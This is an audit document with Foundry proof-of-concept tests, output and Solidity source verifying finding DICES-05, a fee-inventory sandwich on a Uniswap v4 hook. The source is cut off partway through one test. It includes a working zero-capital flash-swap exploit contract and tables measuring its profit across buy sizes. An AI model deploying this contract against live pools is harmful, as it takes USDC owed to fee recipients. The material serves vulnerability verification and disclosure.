# Proof-of-concept tests: independent verification of DICES-05

**Date**: 2026-11-25, commit `bcd45b2` (`main`). Forge 1.9.0.

These eleven tests were written by a separate verifier that was given the claim behind DICES-05 and the code,
and not the lead reviewer's tests or figures. They establish the zero-capital form of the finding and its
bounds. The lead reviewer re-ran them; the output below is from that run. Like the tests in
[`poc-tests.md`](poc-tests.md), they lived in a temporary `test/audit-poc/` directory that has been removed.

| Test | What it shows |
| --- | --- |
| `test_1_claimAsStated_holderSellsThenBuysBack` | The holder version under each measure of gain |
| `test_2_zeroInventoryVariant_paysOutUsdc` | A contract with no coins, USDC or approvals is paid 470.38 USDC after a 30,000 USDC buy |
| `test_3a_precondition_sizeOfTheBuyThatFilledTheQueue` | Best result against the size of the preceding buy, 1,000 to 75,000 USDC |
| `test_3b_precondition_ordinaryFlowLeavesNothingToTake` | After ordinary buys have converted the queue, every size loses |
| `test_3c_precondition_noFeesNoGain_andEmptyRangeGuard` | Selling past the pool's liquidity converts nothing and loses the fee |
| `test_4_otherCurrencyOrdering` | Same result with the coin as currency1 |
| `test_5a_thirdPartyHolderUsingItsWholePosition` | A smaller holder gains coins and loses realisable value |
| `test_5b_zeroInventoryVariantWithoutExtraManagerUsdc_andSolvency` | Same payout in a PoolManager holding only this pool; escrow and swap pool stay fully backed |
| `test_5c_breakEvenBuySize` | Break-even between a 13,000 and a 13,500 USDC buy from launch |
| `test_5d_exactOutputBuyQueuesNothing` | An exact-output buy leaves nothing to take |
| `test_5e_postLiveRate` | 380.65 USDC at the 1.00% post-Live rate |

## How to run them

```sh
mkdir -p test/audit-poc
# save the source below as test/audit-poc/Verify05.t.sol
forge test --match-path 'test/audit-poc/Verify05.t.sol' -vv
rm -r test/audit-poc
```

## Output

```text
Ran 11 tests for test/audit-poc/Verify05.t.sol:Verify05Test
[PASS] test_1_claimAsStated_holderSellsThenBuysBack() (gas: 39736487)
Logs:
  S0: one 30,000 USDC exact-input buy by WHALE
    market cap at spot $159358.43 | queue 8398971 coins = $1338.44 at spot
    depth (L/sqrtP) 261528818 coins | queue/(fee*depth) x1000 = 2569
    WHALE holds 663518715 coins
  (a) ordinary 5,000 USDC buy: queue sold 8398971 of 8398971 | credited $1349.45 | direct USDC fee $0.00
  (b) sweep: % of holding sold | cap after sell | coins gained at constant USDC | USDC credited for the queue
      5% | $125498.88 | 746108 | $1061.53
      10% | $101387.04 | 1370603 | $855.32
      15% | $83611.02 | 1676116 | $705.91
      20% | $70130.86 | 1783265 | $593.18
      25% | $59666.12 | 1765997 | $504.47
      30% | $51380.18 | 1654278 | $434.20
      35% | $44707.63 | 1470271 | $378.23
      40% | $39255.26 | 1243179 | $331.46
      45% | $34742.73 | 969756 | $293.98
      50% | $30965.83 | 670125 | $262.31
      55% | $27772.93 | 357854 | $234.05
      60% | $25049.56 | 17904 | $211.35
      65% | $22707.97 | -336709 | $192.01
      70% | $20680.00 | -696856 | $174.43
      75% | $18912.04 | -1068305 | $159.42
      80% | $17361.48 | -1449174 | $146.57
      85% | $15994.07 | -1832786 | $134.77
      90% | $14782.08 | -2223784 | $124.65
      95% | $13702.80 | -2620991 | $115.99
      100% | $12737.55 | -3019330 | $107.94
  BEST: sell 132703743 coins (cap $159358.43 -> $70130.86), buy back with $13853.59
    measure 1, coins at constant USDC: 1783265 coins = $284.17 at the S0 price, $273.79 at the final price
    queue sold 8398971 | credited $593.18 vs $1349.45 ordinary | shortfall $756.27
    manoeuvre own fees: sell leg $175.36 USDC | buy leg 1702367 coins queued = $261.37 at final spot
    cap after manoeuvre $153535.31 (was $159358.43)
    measure 2, sell everything now: $28844.99 after vs $29520.30 without = -675.30
    measure 3, holding marked at spot: $102147.34 after vs $105737.30 before = -3589.95
  measure 4, an ordinary 5,000 USDC buy follows in both worlds:
    (a) no manoeuvre: credits $1349.45 | queue 368272 | cap $188498.01
       whale coins 663518715 | whale sell-all $32854.10 | buyer coins 29093507
    (b) manoeuvre   : credits $1030.81 | queue 366964 | cap $191157.56
       whale coins 665301980 | whale sell-all $33170.14 | buyer coins 28990199
    recipients: USDC -318.64 | whale sell-all 316.04 | buyer coins -103307
  honest holder sells the same coins, ordinary buyer follows: queue sold 8398971 | credited $593.18
[PASS] test_2_zeroInventoryVariant_paysOutUsdc() (gas: 60878747)
Logs:
  S0: one 30,000 USDC exact-input buy by WHALE
    market cap at spot $159358.43 | queue 8398971 coins = $1338.44 at spot
    depth (L/sqrtP) 261528818 coins | queue/(fee*depth) x1000 = 2569
  sweep: % of outstanding coins sold then bought back | USDC left over | USDC credited for the queue
      10% | 239.20 | $850.20 (queue sold 8398971)
      20% | 365.92 | $586.10 (queue sold 8398971)
      30% | 425.10 | $429.02 (queue sold 8398971)
      40% | 453.33 | $327.51 (queue sold 8398971)
      50% | 466.29 | $257.63 (queue sold 8398971)
      60% | 469.60 | $208.83 (queue sold 8398971)
      70% | 468.90 | $172.35 (queue sold 8398971)
      80% | 466.33 | $143.96 (queue sold 8398971)
      90% | 461.68 | $122.43 (queue sold 8398971)
      100% | -750.00 | $0.00 (queue sold 0)
      110% | -750.00 | $0.00 (queue sold 0)
  BEST: flash-sell 436746496 coins, buy them back: $470.38 paid out with no inventory and no capital
    = 3514 bps of the queue at spot ($1338.44)
    queue credited $188.58 vs $1349.45 ordinary (shortfall $1160.87) | manoeuvre own USDC fees $637.83
    recipients in total $826.41 vs $1349.45 ordinary = -523.04
    cap $159358.43 -> $149595.65 | whale sell-all $29520.30 -> $28344.40 = -1175.89
  an ordinary 5,000 USDC buy follows in both worlds:
    (a) no manoeuvre: credits $1349.45 | queue 368272 | cap $188498.01
       whale coins 663518715 | whale sell-all $32854.10 | buyer coins 29093507
    (b) manoeuvre   : credits $826.41 | queue 371760 | cap $188936.24
       whale coins 663518715 | whale sell-all $32902.43 | buyer coins 29369056
    recipients: USDC -523.04 | whale sell-all 48.32 | buyer coins 275548
    queue left: 368272 (a) vs 371760 (b) coins = $70.23 at spot
[PASS] test_3a_precondition_sizeOfTheBuyThatFilledTheQueue() (gas: 752015455)
Logs:
  one exact-input buy from launch | cap after | queue at spot | queue/(fee*depth) x1000 | best zero-inventory result | bps of queue
    $1000.00 | $14743.70 | $13.57 | 85 | -0.53 | -
    $3000.00 | $19762.86 | $47.13 | 256 | -1.77 | -
    $6000.00 | $28667.79 | $113.53 | 513 | -3.36 | -
    $9000.00 | $39224.14 | $199.21 | 770 | -5.01 | -
    $11000.00 | $47179.16 | $267.03 | 942 | -5.74 | -
    $12500.00 | $53627.10 | $323.51 | 1070 | -4.19 | -
    $15000.00 | $65291.11 | $428.36 | 1284 | 14.72 | 343
    $20000.00 | $92059.60 | $678.19 | 1712 | 107.46 | 1584
    $25000.00 | $123415.37 | $981.56 | 2140 | 261.66 | 2665
    $30000.00 | $159358.43 | $1338.44 | 2569 | 470.38 | 3514
    $34000.00 | $191415.73 | $1662.49 | 2911 | 674.96 | 4059
    $50000.00 | $377943.26 | $3564.51 | 5185 | 2024.95 | 5680
    $75000.00 | $799730.23 | $7997.12 | 7998 | 5361.49 | 6704
[PASS] test_3b_precondition_ordinaryFlowLeavesNothingToTake() (gas: 272036231)
Logs:
  after the 30,000 buy and one ordinary 5,000 buy that converted its queue
    market cap at spot $188498.01 | queue 368272 coins = $69.41 at spot
    depth (L/sqrtP) 240466009 coins | queue/(fee*depth) x1000 = 122
    best zero-inventory result -54.80
    holder sells 10% and buys back: coins -1335005
    holder sells 40% and buys back: coins -4605442
    holder sells 70% and buys back: coins -7457344
    holder sells 100% and buys back: coins -10155508
    after ordinary 500 USDC buy #1: ratio x1000 = 11 | best zero-inventory result -62.44
    after ordinary 500 USDC buy #2: ratio x1000 = 10 | best zero-inventory result -63.97
    after ordinary 500 USDC buy #3: ratio x1000 = 12 | best zero-inventory result -65.52
    after ordinary 500 USDC buy #4: ratio x1000 = 12 | best zero-inventory result -67.13
    after ordinary 500 USDC buy #5: ratio x1000 = 12 | best zero-inventory result -68.76
[PASS] test_3c_precondition_noFeesNoGain_andEmptyRangeGuard() (gas: 10744425)
Logs:
  flash-sell 110% of outstanding: result -750.00 | queue sold 0
  ordinary 200 USDC buy: queue sold 523182 of 8398971 | credited $83.82
[PASS] test_4_otherCurrencyOrdering() (gas: 45442429)
Logs:
  coin is currency1: one 30,000 USDC exact-input buy
    market cap at spot $159358.43 | queue 8398971 coins = $1338.44 at spot
    depth (L/sqrtP) 261528818 coins | queue/(fee*depth) x1000 = 2569
    ordinary conversion credited $1349.45 | zero-inventory best $470.38 | queue credited $188.58 | own fees $637.83
[PASS] test_5a_thirdPartyHolderUsingItsWholePosition() (gas: 11289509)
Logs:
  third-party holder sells 100,000,000 coins, buys back with $11383.84: coins 1667031 | queue credited $705.91
    sell everything now: $11118.83 after vs $11383.84 without = -265.00
[PASS] test_5b_zeroInventoryVariantWithoutExtraManagerUsdc_andSolvency() (gas: 44341247)
Logs:
  manager holds only this pool: flash-sell 436746496 coins -> $470.38 paid out
    pool USDC $30000.00 -> $28703.19 | credits +$826.41
[PASS] test_5c_breakEvenBuySize() (gas: 456320237)
Logs:
  one exact-input buy from launch | price multiple x100 | queue/(fee*depth) x1000 | best zero-inventory result (0.5% steps)
    $12500.00 | 429 | 1070 | -2.75
    $13000.00 | 446 | 1113 | -1.18
    $13500.00 | 465 | 1156 | 1.58
    $14000.00 | 483 | 1198 | 5.38
    $14500.00 | 502 | 1241 | 10.06
[PASS] test_5d_exactOutputBuyQueuesNothing() (gas: 29849975)
Logs:
  exact-output buy of 660,000,000 coins: paid $28535.88 | direct USDC fee $352.29 | queue 0
    best zero-inventory result -45.88
[PASS] test_5e_postLiveRate() (gas: 44811784)
Logs:
  1.00% rate: queue $1070.75 at spot | zero-inventory best $380.65 = 3554 bps
Suite result: ok. 11 passed; 0 failed; 0 skipped; finished in 364.92ms (990.37ms CPU time)
Ran 1 test suite in 367.65ms (364.92ms CPU time): 11 tests passed, 0 failed, 0 skipped (11 total tests)
```

## Source

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.38;

import {DicesHookTradingTestBase} from '../DicesHookTrading.t.sol';
import {FixedRateCalculator} from '../utils/Fixtures.sol';
import {CurrencySettler} from '@uniswap/v4-core/test/utils/CurrencySettler.sol';
import {Vm} from 'forge-std/Vm.sol';
import {console2} from 'forge-std/console2.sol';
import {IPoolManager} from 'v4-core/interfaces/IPoolManager.sol';
import {IUnlockCallback} from 'v4-core/interfaces/callback/IUnlockCallback.sol';
import {FullMath} from 'v4-core/libraries/FullMath.sol';
import {StateLibrary} from 'v4-core/libraries/StateLibrary.sol';
import {TickMath} from 'v4-core/libraries/TickMath.sol';
import {TransientStateLibrary} from 'v4-core/libraries/TransientStateLibrary.sol';
import {Currency} from 'v4-core/types/Currency.sol';
import {PoolKey} from 'v4-core/types/PoolKey.sol';
import {SwapParams} from 'v4-core/types/PoolOperation.sol';

/**
 * @notice Independent verification of "Bug #5": queued fee inventory is converted at a spot price that can be pushed
 * down first. Measurement only; nothing here changes production code.
 *
 * @dev This contract sells coins it does not hold and buys the same number back inside one `unlock`, so the coin
 * debt nets to zero under v4 flash accounting. Whatever USDC is left over is paid out. It holds no coins, has no
 * approvals, and (unless a test funds it to measure a losing case) holds no USDC.
 */
contract ZeroInventorySandwich is IUnlockCallback {
    using CurrencySettler for Currency;
    using TransientStateLibrary for IPoolManager;

    IPoolManager internal immutable manager;

    constructor(IPoolManager manager_) {
        manager = manager_;
    }

    function run(PoolKey memory key, bool coin0, uint sellCoins, address to) external returns (int usdOut) {
        return abi.decode(manager.unlock(abi.encode(key, coin0, sellCoins, to)), (int));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(manager), 'not manager');
        (PoolKey memory key, bool coin0, uint sellCoins, address to) = abi.decode(data, (PoolKey, bool, uint, address));
        Currency coinC = coin0 ? key.currency0 : key.currency1;
        Currency usdC = coin0 ? key.currency1 : key.currency0;

        // 1. Exact-input sell of coins that are only owed, not held. The hook charges its fee in USDC.
        manager.swap(key, SwapParams(coin0, -int(sellCoins), coin0 ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), '');

        // 2. Exact-output buy of exactly the coins owed. This is the swap that meets the queued inventory.
        int owed = manager.currencyDelta(address(this), coinC);
        require(owed < 0, 'nothing sold');
        manager.swap(key, SwapParams(!coin0, -owed, !coin0 ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), '');

        require(manager.currencyDelta(address(this), coinC) == 0, 'coin leg is not flat');
        int usdOut = manager.currencyDelta(address(this), usdC);
        if (usdOut > 0) {
            manager.take(usdC, to, uint(usdOut));
        } else if (usdOut < 0) {
            // Only reachable when a test has funded this contract in order to measure a loss.
            usdC.settle(manager, address(this), uint(-usdOut), false);
        }
        return abi.encode(usdOut);
    }
}

contract Verify05Test is DicesHookTradingTestBase {
    using StateLibrary for IPoolManager;

    address internal constant WHALE = address(0xB001);
    address internal constant BUYER = address(0xB002);
    address internal constant SINK = address(0xB003);
    address internal constant HOLDER = address(0xB004);

    uint internal constant FEE = 1_250;
    uint internal constant DENOMINATOR = 100_000;

    /**
     * @dev Sizing a position rounds its liquidity down, which leaves a fraction of a coin unsold.
     */
    uint internal constant DUST = 1e15;

    ZeroInventorySandwich internal bot;

    /**
     * @dev What one swap (or one flash round trip) did, measured from balances and from emitted events.
     */
    struct Rec {
        int coin; // actor's coin balance change
        int usd; // actor's USDC balance change
        uint queued; // coins the hook queued in the swap pool as a fee
        uint spent; // queued coins sold by the temporary position
        uint conv; // USDC credited to recipients by the swap pool: conversion proceeds only
        uint feeUsd; // USDC credited to recipients by the hook: direct USDC swap fees only
    }

    struct Trip {
        Rec s;
        Rec b;
        uint capMid;
        uint capEnd;
    }

    struct World {
        uint credits;
        uint queue;
        uint cap;
        uint whaleCoins;
        uint whaleLiq;
        uint buyerCoins;
    }

    // ------------------------------------------------------------------------------------------------
    // Harness
    // ------------------------------------------------------------------------------------------------

    function _setup(bool coin0) internal {
        _prepare(coin0);
        // A live PoolManager holds every pool's USDC; the test one holds only this pool's. See the task brief.
        usd.mint(address(manager), 10_000_000e6);
        bot = new ZeroInventorySandwich(manager);
        _fund(WHALE);
        _fund(BUYER);
        _fund(HOLDER);
    }

    function _fund(address who) internal {
        usd.mint(who, 1_000_000e6);
        vm.startPrank(who);
        usd.approve(address(router), type(uint).max);
        coin.approve(address(router), type(uint).max);
        vm.stopPrank();
    }

    function _coin0() internal view returns (bool) {
        return Currency.unwrap(key.currency0) == address(coin);
    }

    function _queue() internal view returns (uint) {
        return isp.internalSwapPool(address(coin));
    }

    function _parse(Rec memory r, Vm.Log[] memory logs) internal view {
        for (uint i; i < logs.length; i++) {
            if (logs[i].topics.length == 0) {
                continue;
            }
            if (logs[i].emitter == address(isp) && logs[i].topics[0] == keccak256('Deposit(address,uint256)')) {
                r.queued += abi.decode(logs[i].data, (uint));
            } else if (logs[i].emitter == address(escrow) && logs[i].topics[0] == keccak256('Deposited(address,address,address,uint256)')) {
                address depositor = address(uint160(uint(logs[i].topics[3])));
                uint amount = abi.decode(logs[i].data, (uint));
                if (depositor == address(isp)) {
                    r.conv += amount;
                } else {
                    r.feeUsd += amount;
                }
            }
        }
    }

    function _swapAs(address who, bool buy, bool exactInput, uint amount) internal returns (Rec memory r) {
        uint q0 = _queue();
        int c0 = int(coin.balanceOf(who));
        int u0 = int(usd.balanceOf(who));
        uint maxIn = buy ? usd.balanceOf(who) : coin.balanceOf(who);
        SwapParams memory p = _paramsFor(buy, exactInput, amount);
        vm.recordLogs();
        vm.prank(who);
        if (exactInput) {
            router.swap(key, p);
        } else {
            router.swapWithMaxInput(key, p, maxIn);
        }
        _parse(r, vm.getRecordedLogs());
        r.coin = int(coin.balanceOf(who)) - c0;
        r.usd = int(usd.balanceOf(who)) - u0;
        r.spent = q0 + r.queued - _queue();
    }

    /**
     * @dev The manoeuvre exactly as the claim states it: exact-input sell, then exact-input buy of the USDC received.
     */
    function _roundTrip(address who, uint coins) internal returns (Trip memory t) {
        t.s = _swapAs(who, false, true, coins);
        t.capMid = _cap();
        t.b = _swapAs(who, true, true, uint(t.s.usd));
        t.capEnd = _cap();
    }

    function _flash(uint coins, bool fundLosses) internal returns (int usdOut, Rec memory r) {
        uint q0 = _queue();
        if (fundLosses) {
            usd.mint(address(bot), 1_000_000e6);
        }
        vm.recordLogs();
        usdOut = bot.run(key, _coin0(), coins, SINK);
        _parse(r, vm.getRecordedLogs());
        r.spent = q0 + r.queued - _queue();
    }

    /**
     * @dev Coins the launch positions have sold and not taken back; selling this many returns the pool to launch.
     */
    function _outstanding() internal view returns (uint) {
        return 900_000_000e18 - coin.balanceOf(address(manager));
    }

    function _bestFlash() internal returns (uint bestCoins, int bestUsd) {
        uint out = _outstanding();
        uint snap = vm.snapshotState();
        bestUsd = type(int).min;
        for (uint pct = 2; pct <= 98; pct += 3) {
            (int p,) = _flash(out * pct / 100, true);
            vm.revertToState(snap);
            if (p > bestUsd) {
                bestUsd = p;
                bestCoins = out * pct / 100;
            }
        }
    }

    function _liquidation(address who) internal returns (uint out) {
        uint bal = coin.balanceOf(who);
        if (bal == 0) {
            return 0;
        }
        uint snap = vm.snapshotState();
        out = uint(_swapAs(who, false, true, bal).usd);
        vm.revertToState(snap);
    }

    function _world() internal returns (World memory w) {
        w.credits = _totalCredits();
        w.queue = _queue();
        w.cap = _cap();
        w.whaleCoins = coin.balanceOf(WHALE);
        w.buyerCoins = coin.balanceOf(BUYER);
        w.whaleLiq = _liquidation(WHALE);
    }

    // ------------------------------------------------------------------------------------------------
    // Price reads
    // ------------------------------------------------------------------------------------------------

    /**
     * @dev Market cap of the 1e27 supply at the pool's spot price, in six-decimal USDC.
     */
    function _cap() internal view returns (uint) {
        (uint160 p,,,) = manager.getSlot0(key.toId());
        if (_coin0()) {
            return FullMath.mulDiv(uint(p) * uint(p), 1e27, 1 << 192);
        }
        return FullMath.mulDiv(uint(1e27) << 96, 1 << 96, p) / p;
    }

    /**
     * @dev USDC value of `coins` at the pool's spot price.
     */
    function _spot(uint coins) internal view returns (uint) {
        return FullMath.mulDiv(coins, _cap(), 1e27);
    }

    /**
     * @dev The pool's virtual coin reserve at spot, `L / sqrtP`: the depth that the inventory is compared with.
     */
    function _depth() internal view returns (uint) {
        (uint160 p,,,) = manager.getSlot0(key.toId());
        uint128 l = manager.getLiquidity(key.toId());
        return _coin0() ? FullMath.mulDiv(l, 1 << 96, p) : FullMath.mulDiv(l, p, 1 << 96);
    }

    /**
     * @dev queue / (fee rate x depth), in thousandths. The analysis predicts a profit only above 1000.
     */
    function _ratio() internal view returns (uint) {
        uint depth = _depth();
        return depth == 0 ? 0 : FullMath.mulDiv(_queue() * 1000, DENOMINATOR, FEE * depth);
    }

    // ------------------------------------------------------------------------------------------------
    // Formatting
    // ------------------------------------------------------------------------------------------------

    function _u(uint v) internal pure returns (string memory) {
        uint cents = (v % 1e6) / 1e4;
        return string.concat(vm.toString(v / 1e6), '.', cents < 10 ? '0' : '', vm.toString(cents));
    }

    function _ui(int v) internal pure returns (string memory) {
        return v < 0 ? string.concat('-', _u(uint(-v))) : _u(uint(v));
    }

    function _c(uint v) internal pure returns (string memory) {
        return vm.toString(v / 1e18);
    }

    function _ci(int v) internal pure returns (string memory) {
        return v < 0 ? string.concat('-', _c(uint(-v))) : _c(uint(v));
    }

    function _logState(string memory label) internal view {
        console2.log(label);
        console2.log(string.concat('  market cap at spot $', _u(_cap()), ' | queue ', _c(_queue()), ' coins = $', _u(_spot(_queue())), ' at spot'));
        console2.log(string.concat('  depth (L/sqrtP) ', _c(_depth()), ' coins | queue/(fee*depth) x1000 = ', vm.toString(_ratio())));
    }

    function _logWorld(string memory label, World memory w) internal pure {
        console2.log(string.concat(label, ' credits $', _u(w.credits), ' | queue ', _c(w.queue), ' | cap $', _u(w.cap)));
        console2.log(string.concat('     whale coins ', _c(w.whaleCoins), ' | whale sell-all $', _u(w.whaleLiq), ' | buyer coins ', _c(w.buyerCoins)));
    }

    // ------------------------------------------------------------------------------------------------
    // 1. The claim as stated: a holder sells, then buys back with exactly the USDC received
    // ------------------------------------------------------------------------------------------------

    function test_1_claimAsStated_holderSellsThenBuysBack() public {
        _setup(true);
        _swapAs(WHALE, true, true, 30_000e6);
        uint q = _queue();
        uint held = coin.balanceOf(WHALE);
        _logState('S0: one 30,000 USDC exact-input buy by WHALE');
        console2.log(string.concat('  WHALE holds ', _c(held), ' coins'));
        uint s0 = vm.snapshotState();

        // (a) Ordinary conversion: a third party buys at the unmanipulated price.
        Rec memory a = _swapAs(BUYER, true, true, 5_000e6);
        console2.log(string.concat('(a) ordinary 5,000 USDC buy: queue sold ', _c(a.spent), ' of ', _c(q), ' | credited $', _u(a.conv), ' | direct USDC fee $', _u(a.feeUsd)));
        assertApproxEqAbs(a.spent, q, DUST, 'the ordinary buy converts the whole queue');
        assertEq(a.feeUsd, 0, 'an exact-input buy pays its fee in coins, so every credit is conversion proceeds');
        vm.revertToState(s0);

        // (b) Sweep the size of the sell.
        console2.log('(b) sweep: % of holding sold | cap after sell | coins gained at constant USDC | USDC credited for the queue');
        uint bestCoins;
        int bestGain = type(int).min;
        for (uint pct = 5; pct <= 100; pct += 5) {
            Trip memory t = _roundTrip(WHALE, held * pct / 100);
            int gain = t.s.coin + t.b.coin;
            console2.log(string.concat('    ', vm.toString(pct), '% | $', _u(t.capMid), ' | ', _ci(gain), ' | $', _u(t.b.conv)));
            assertEq(t.s.usd + t.b.usd, 0, 'USDC is unchanged');
            vm.revertToState(s0);
            if (gain > bestGain) {
                bestGain = gain;
                bestCoins = held * pct / 100;
            }
        }

        // Detail at the best size.
        uint liq0 = _liquidation(WHALE);
        uint mtm0 = _spot(held);
        uint cap0 = _cap();
        Trip memory best = _roundTrip(WHALE, bestCoins);
        int g = best.s.coin + best.b.coin;
        console2.log(string.concat('BEST: sell ', _c(bestCoins), ' coins (cap $', _u(cap0), ' -> $', _u(best.capMid), '), buy back with $', _u(uint(best.s.usd))));
        console2.log(string.concat('  measure 1, coins at constant USDC: ', _ci(g), ' coins = $', _u(FullMath.mulDiv(uint(g), cap0, 1e27)), ' at the S0 price, $', _u(_spot(uint(g))), ' at the final price'));
        console2.log(string.concat('  queue sold ', _c(best.b.spent), ' | credited $', _u(best.b.conv), ' vs $', _u(a.conv), ' ordinary | shortfall $', _u(a.conv - best.b.conv)));
        console2.log(string.concat('  manoeuvre own fees: sell leg $', _u(best.s.feeUsd), ' USDC | buy leg ', _c(best.b.queued), ' coins queued = $', _u(_spot(best.b.queued)), ' at final spot'));
        console2.log(string.concat('  cap after manoeuvre $', _u(best.capEnd), ' (was $', _u(cap0), ')'));
        uint liq1 = _liquidation(WHALE);
        console2.log(string.concat('  measure 2, sell everything now: $', _u(liq1), ' after vs $', _u(liq0), ' without = ', _ui(int(liq1) - int(liq0))));
        uint mtm1 = _spot(coin.balanceOf(WHALE));
        console2.log(string.concat('  measure 3, holding marked at spot: $', _u(mtm1), ' after vs $', _u(mtm0), ' before = ', _ui(int(mtm1) - int(mtm0))));
        assertGt(g, 0, 'same USDC, more coins');
        assertApproxEqAbs(best.b.spent, q, DUST, 'the buy-back converts the whole queue');
        assertLt(best.b.conv, a.conv, 'recipients are credited less for the same inventory');
        assertLt(liq1, liq0, 'but selling everything afterwards realises less than selling without the manoeuvre');

        // Measure 4: an ordinary buyer follows in both worlds.
        _swapAs(BUYER, true, true, 5_000e6);
        World memory wb = _world();
        vm.revertToState(s0);
        _swapAs(BUYER, true, true, 5_000e6);
        World memory wa = _world();
        console2.log('measure 4, an ordinary 5,000 USDC buy follows in both worlds:');
        _logWorld('  (a) no manoeuvre:', wa);
        _logWorld('  (b) manoeuvre   :', wb);
        console2.log(string.concat('  recipients: USDC ', _ui(int(wb.credits) - int(wa.credits)), ' | whale sell-all ', _ui(int(wb.whaleLiq) - int(wa.whaleLiq)), ' | buyer coins ', _ci(int(wb.buyerCoins) - int(wa.buyerCoins))));

        // The same low conversion follows an honest sell: the inventory always carries price risk.
        vm.revertToState(s0);
        _swapAs(WHALE, false, true, bestCoins);
        Rec memory h = _swapAs(BUYER, true, true, 5_000e6);
        console2.log(string.concat('honest holder sells the same coins, ordinary buyer follows: queue sold ', _c(h.spent), ' | credited $', _u(h.conv)));
    }

    // ------------------------------------------------------------------------------------------------
    // 2. Stronger than the claim: no coin position and no capital are needed
    // ------------------------------------------------------------------------------------------------

    function test_2_zeroInventoryVariant_paysOutUsdc() public {
        _setup(true);
        _swapAs(WHALE, true, true, 30_000e6);
        uint q = _queue();
        uint cap0 = _cap();
        uint qValue = _spot(q);
        _logState('S0: one 30,000 USDC exact-input buy by WHALE');
        uint s0 = vm.snapshotState();

        Rec memory a = _swapAs(BUYER, true, true, 5_000e6);
        World memory wa = _world();
        vm.revertToState(s0);
        World memory w0 = _world();

        console2.log('sweep: % of outstanding coins sold then bought back | USDC left over | USDC credited for the queue');
        uint out = _outstanding();
        for (uint pct = 10; pct <= 110; pct += 10) {
            (int p, Rec memory r) = _flash(out * pct / 100, true);
            console2.log(string.concat('    ', vm.toString(pct), '% | ', _ui(p), ' | $', _u(r.conv), ' (queue sold ', _c(r.spent), ')'));
            vm.revertToState(s0);
        }

        (uint bestCoins, int bestUsd) = _bestFlash();
        assertEq(coin.balanceOf(address(bot)), 0);
        assertEq(usd.balanceOf(address(bot)), 0, 'no capital');
        assertEq(usd.balanceOf(SINK), 0);
        (int profit, Rec memory f) = _flash(bestCoins, false);
        assertEq(profit, bestUsd);
        assertEq(int(usd.balanceOf(SINK)), profit, 'the leftover USDC is paid out');
        assertEq(coin.balanceOf(address(bot)), 0);
        assertEq(coin.balanceOf(SINK), 0);
        assertGt(profit, 0);
        assertApproxEqAbs(f.spent, q, DUST, 'the whole queue was converted');
        assertEq(f.queued, 0, 'both legs pay their fee in USDC, so nothing new is queued');
        assertLe(_queue(), DUST, 'only liquidity-rounding dust is left in the queue');
        World memory wf = _world();
        console2.log(string.concat('BEST: flash-sell ', _c(bestCoins), ' coins, buy them back: $', _u(uint(profit)), ' paid out with no inventory and no capital'));
        console2.log(string.concat('  = ', vm.toString(uint(profit) * 10_000 / qValue), ' bps of the queue at spot ($', _u(qValue), ')'));
        console2.log(string.concat('  queue credited $', _u(f.conv), ' vs $', _u(a.conv), ' ordinary (shortfall $', _u(a.conv - f.conv), ') | manoeuvre own USDC fees $', _u(f.feeUsd)));
        console2.log(string.concat('  recipients in total $', _u(f.conv + f.feeUsd), ' vs $', _u(a.conv), ' ordinary = ', _ui(int(f.conv + f.feeUsd) - int(a.conv))));
        console2.log(string.concat('  cap $', _u(cap0), ' -> $', _u(wf.cap), ' | whale sell-all $', _u(w0.whaleLiq), ' -> $', _u(wf.whaleLiq), ' = ', _ui(int(wf.whaleLiq) - int(w0.whaleLiq))));
        assertLt(f.conv, a.conv);
        assertLt(f.conv + f.feeUsd, a.conv, 'recipients lose even after the fees the manoeuvre itself pays');

        // An ordinary buyer follows in both worlds.
        _swapAs(BUYER, true, true, 5_000e6);
        World memory wb = _world();
        console2.log('an ordinary 5,000 USDC buy follows in both worlds:');
        _logWorld('  (a) no manoeuvre:', wa);
        _logWorld('  (b) manoeuvre   :', wb);
        console2.log(string.concat('  recipients: USDC ', _ui(int(wb.credits) - int(wa.credits)), ' | whale sell-all ', _ui(int(wb.whaleLiq) - int(wa.whaleLiq)), ' | buyer coins ', _ci(int(wb.buyerCoins) - int(wa.buyerCoins))));
        console2.log(string.concat('  queue left: ', _c(wa.queue), ' (a) vs ', _c(wb.queue), ' (b) coins = $', _u(_spot(wb.queue)), ' at spot'));
    }

    // ------------------------------------------------------------------------------------------------
    // 3. Preconditions (negative PoC)
    // ------------------------------------------------------------------------------------------------

    function test_3a_precondition_sizeOfTheBuyThatFilledTheQueue() public {
        _setup(true);
        uint base = vm.snapshotState();
        uint[13] memory sizes = [uint(1_000e6), 3_000e6, 6_000e6, 9_000e6, 11_000e6, 12_500e6, 15_000e6, 20_000e6, 25_000e6, 30_000e6, 34_000e6, 50_000e6, 75_000e6];
        console2.log('one exact-input buy from launch | cap after | queue at spot | queue/(fee*depth) x1000 | best zero-inventory result | bps of queue');
        for (uint i; i < sizes.length; i++) {
            _swapAs(WHALE, true, true, sizes[i]);
            uint qValue = _spot(_queue());
            uint ratio = _ratio();
            uint cap = _cap();
            (, int best) = _bestFlash();
            console2.log(string.concat('  $', _u(sizes[i]), ' | $', _u(cap), ' | $', _u(qValue), ' | ', vm.toString(ratio), ' | ', _ui(best), ' | ', best > 0 ? vm.toString(uint(best) * 10_000 / qValue) : '-'));
            if (ratio < 950) {
                assertLe(best, 0, 'below the threshold every size loses');
            }
            if (ratio > 1100) {
                assertGt(best, 0, 'above the threshold some size pays');
            }
            vm.revertToState(base);
        }
    }

    function test_3b_precondition_ordinaryFlowLeavesNothingToTake() public {
        _setup(true);
        _swapAs(WHALE, true, true, 30_000e6);
        _swapAs(BUYER, true, true, 5_000e6);
        _logState('after the 30,000 buy and one ordinary 5,000 buy that converted its queue');
        (, int best) = _bestFlash();
        console2.log(string.concat('  best zero-inventory result ', _ui(best)));
        assertLe(best, 0);

        // The claim's own version loses as well.
        uint held = coin.balanceOf(WHALE);
        uint snap = vm.snapshotState();
        for (uint pct = 10; pct <= 100; pct += 30) {
            Trip memory t = _roundTrip(WHALE, held * pct / 100);
            console2.log(string.concat('  holder sells ', vm.toString(pct), '% and buys back: coins ', _ci(t.s.coin + t.b.coin)));
            assertLt(t.s.coin + t.b.coin, 0);
            vm.revertToState(snap);
        }

        for (uint i; i < 5; i++) {
            _swapAs(BUYER, true, true, 500e6);
            (, best) = _bestFlash();
